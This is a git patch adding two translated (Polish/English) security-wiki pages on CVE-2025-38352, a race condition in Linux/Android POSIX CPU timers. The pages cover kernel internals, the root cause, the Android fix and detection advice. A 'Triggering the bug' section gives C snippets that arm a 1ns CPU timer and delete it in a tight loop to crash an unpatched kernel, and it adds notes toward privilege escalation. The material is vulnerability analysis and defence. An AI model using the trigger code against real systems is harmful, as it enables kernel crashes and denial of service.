From 2bab9edd963c20f50080d73bb879c1ddf9aa68e9 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:43:42 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 +++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 196 ++++++++++++++++++ 3 files changed, 393 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..38e98e6c2 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Ta strona dokumentuje warunek wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię kernela, a w pewnych okolicznościach dać się skierować ku privilege escalation. + +- Dotknięty komponent: kernel/time/posix-cpu-timers.c +- Primitive: wyścig między wygaśnięciem a usunięciem przy zakończeniu zadania +- Wrażliwe na konfigurację: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (ścieżka wygaśnięcia w kontekście IRQ) + +Szybkie przypomnienie wewnętrzności (istotne dla eksploatacji) +- Trzy zegary CPU odpowiadają za rozliczanie timerów przez cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: tylko utime +- CPUCLOCK_SCHED: task_sched_runtime() +- Tworzenie timera wiąże timer z task/pid i inicjalizuje timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Uzbrajanie wstawia do per-base timerqueue i może zaktualizować next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +Szybka ścieżka unika kosztownego przetwarzania, chyba że zbuforowane czasy wygaśnięcia wskazują na możliwe wyzwolenie: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Wygaśnięcie zbiera wygasłe timery, oznacza je jako uruchomione, usuwa je z kolejki; faktyczne dostarczenie jest odroczone: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Dwa tryby przetwarzania wygaśnięć +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odroczone przez task_work na zadaniu docelowym +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +W ścieżce kontekstu IRQ lista firing jest przetwarzana poza sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- To uniemożliwia wejście do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przegapić it.cpu.firing i spowodować wyścig z przetwarzaniem wygaśnięcia. + +Impact +- Uszkodzenie pamięci jądra w strukturach timerów podczas równoczesnego wygaśnięcia/usuwania może prowadzić do natychmiastowych awarii (DoS) i stanowi silny prymityw do eskalacji uprawnień z powodu możliwości dowolnej manipulacji stanem jądra. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki gate'ującej exit_state. + +Runtime strategy +- Wyceluj w wątek, który ma zaraz zakończyć działanie, i przypnij do niego timer CPU (per-thread lub process-wide): +- Dla per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- Dla process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Uzbrój z bardzo krótkim początkowym czasem wygaśnięcia i małym interwałem, aby zmaksymalizować liczbę wejść w ścieżkę IRQ: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Z równoległego wątku jednocześnie usuń ten sam timer, gdy wątek docelowy kończy działanie: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Race amplifiers: wysoka częstotliwość ticków schedulera, obciążenie CPU, powtarzające się cykle zakończeń i ponownego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie pola firing z powodu nieudanego wyszukiwania/blokowania tasku tuż po unlock_task_sighand(). + +Detection and hardening +- Mitigacja: zastosuj exit_state guard; w miarę możliwości włącz CONFIG_POSIX_CPU_TIMERS_TASK_WORK. +- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); wyzwalaj alert, gdy it.cpu.firing==1 zostanie zaobserwowane razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); monitoruj niespójności timerqueue podczas wychodzenia tasku. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. + +## Referencje +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..9b5537816 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,196 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Ta strona dokumentuje błąd wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię jądra, a w pewnych okolicznościach może zostać wykorzystany do privilege escalation. + +- Affected component: kernel/time/posix-cpu-timers.c +- Primitive: expiry vs deletion race under task exit +- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Quick internals recap (relevant for exploitation) +- Three CPU clocks drive accounting for timers via cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Uzbrajanie wstawia element do per-base timerqueue i może zaktualizować next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Szybka ścieżka unika kosztownego przetwarzania, chyba że zapisane w pamięci podręcznej informacje o wygaśnięciach wskazują na możliwe wywołanie: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Wygaśnięcie zbiera wygasłe timery, oznacza je jako wyzwolone, usuwa je z kolejki; rzeczywiste dostarczenie jest odroczone: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Dwa tryby przetwarzania wygaśnięć +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odkładane przez task_work na docelowym zadaniu +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +W ścieżce IRQ-context lista firing jest przetwarzana poza sighand. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit + +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- To zapobiega wejściu do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przeoczyć it.cpu.firing i konkurować z przetwarzaniem wygaśnięcia. + +Impact +- Uszkodzenie pamięci jądra struktur timerów podczas równoczesnego wygaśnięcia/usunięcia może powodować natychmiastowe awarie (DoS) i stanowi silny prymityw do eskalacji uprawnień ze względu na możliwość dowolnej manipulacji stanem jądra. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki kontrolującej exit_state. + +Runtime strategy +- Wskaż wątek, który ma się zakończyć i dołącz do niego CPU timer (zegar per-thread lub dla całego procesu): +- Dla pojedynczego wątku: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- Dla całego procesu: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Ustaw bardzo krótkie początkowe wygaśnięcie i mały interwał, aby zmaksymalizować wejścia do ścieżki IRQ: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Z sibling thread, równocześnie usuń ten sam timer, podczas gdy target thread kończy działanie: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Czynniki nasilające warunki wyścigu: wysoka częstotliwość ticków planisty, obciążenie CPU, powtarzające się cykle zakończenia/wtórnego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie firing z powodu nieudanego wyszukiwania/blokowania zadania tuż po unlock_task_sighand(). + +Wykrywanie i zabezpieczenia +- Środki zaradcze: zastosuj ochronę exit_state; preferuj włączenie CONFIG_POSIX_CPU_TIMERS_TASK_WORK, gdy to możliwe. +- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); generuj alert, gdy zaobserwowano it.cpu.firing==1 razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); obserwuj niespójności w timerqueue wokół exit zadania. + +Punkty audytu (dla recenzentów) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- wybór __run_posix_cpu_timers() (ścieżka TASK_WORK vs IRQ) +- collect_timerqueue(): ustawia ctmr->firing i przesuwa węzły +- handle_posix_cpu_timers(): zwalnia sighand przed pętlą wyzwalania +- posix_cpu_timer_del(): polega na it.cpu.firing do wykrywania expiry w locie; ta kontrola jest pomijana, gdy wyszukiwanie/blokada zadania nie powiodą się podczas exit/reap + +Uwagi do badań nad eksploatacją +- Ujawnione zachowanie jest wiarygodnym prymitywem powodującym awarię jądra; przekształcenie go w eskalację uprawnień zwykle wymaga dodatkowego kontrolowalnego nakładania się (object lifetime lub write-what-where influence), wykraczającego poza zakres tego streszczenia. Traktuj każdy PoC jako potencjalnie destabilizujący i uruchamiaj wyłącznie w emulatorach/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}